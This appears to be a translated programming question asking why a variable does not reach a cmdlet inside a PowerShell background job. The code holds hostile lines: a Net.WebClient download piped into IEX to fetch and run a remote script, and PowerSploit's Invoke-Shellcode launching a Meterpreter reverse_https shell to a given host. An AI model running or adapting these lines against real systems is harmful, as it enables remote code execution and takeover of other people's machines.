$foo = @("string.here")
foreach ($num in $foo) {
$s = { $WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('https://webserver/MyCommandlet.ps1')
$temp = $args[0]
MyCommandlet -Lhost "$temp"
Write-Host "$temp"
}
$id = [System.Guid]::NewGuid()
$jobs += $id
Start-Job -Name $id -ScriptBlock $s -args $num
}
从此修改。编辑:为了清楚起见,删除了不必要的代码。
MyCommandlet
期望在使用之前检查一个变量(此处-Lhost $temp
)(它不应为 null 或空)。
尝试运行上述脚本时,我收到以下错误消息。
Invoke-Shellcode:无法验证参数“Lhost”上的参数。参数为 null 或空。提供一个不为 null 或空的参数,然后重试该命令。
编辑:Invoke-Shellcode
是原始 Commandlet,我将其引用为MyCommandlet
. 出于安全原因,我不想包含完整的代码(以防人们自己运行脚本)。有关更多详细信息,请参阅此处的代码
https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke--Shellcode.ps1
原始的 ScriptBlock 类似于(参见 $temp 变量)
{
$WebClientObject = New-Object Net.WebClient
IEX $WebClientObject.DownloadString('PAYLOAD_URL')
Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $temp -Lport 443 -Force
}
本质上,该变量没有MyCommandlet
正确传递给我,而Write-Host $temp
在相同的上下文中返回一个非空值(这是正确的)。我知道变量不会传递给其他 ScriptBlock,特别是如果它在新作业中运行,但是因为Write-Host
能够在作业中正确读取值,所以我一定错过了其他一些东西。
正如一些帖子所建议的,我尝试了以下替代方案:
...} -ArgumentList $temp
(在 ScriptBlock 之后) http://powershell.org/wp/forums/topic/passing-parameter-to-start-job/{param($temp) ...}
(在 ScriptBlock 的开头)- 直接使用
Start-Job -ScriptBlock {...}
,而不是 ScriptBlock 的变量。[scriptblock]::Create(...)
声明 ScriptBlock - 使用
Invoke-Command
, 而不是Start-Job
但不仅它也不起作用(尽管工作方式略有不同),Start-Job
如果可能的话,我想坚持下去。 - 我想避免使用 Powershell V3.0
$using:variable
功能。另外,它在我尝试的配置中不起作用。
这些都不适合我。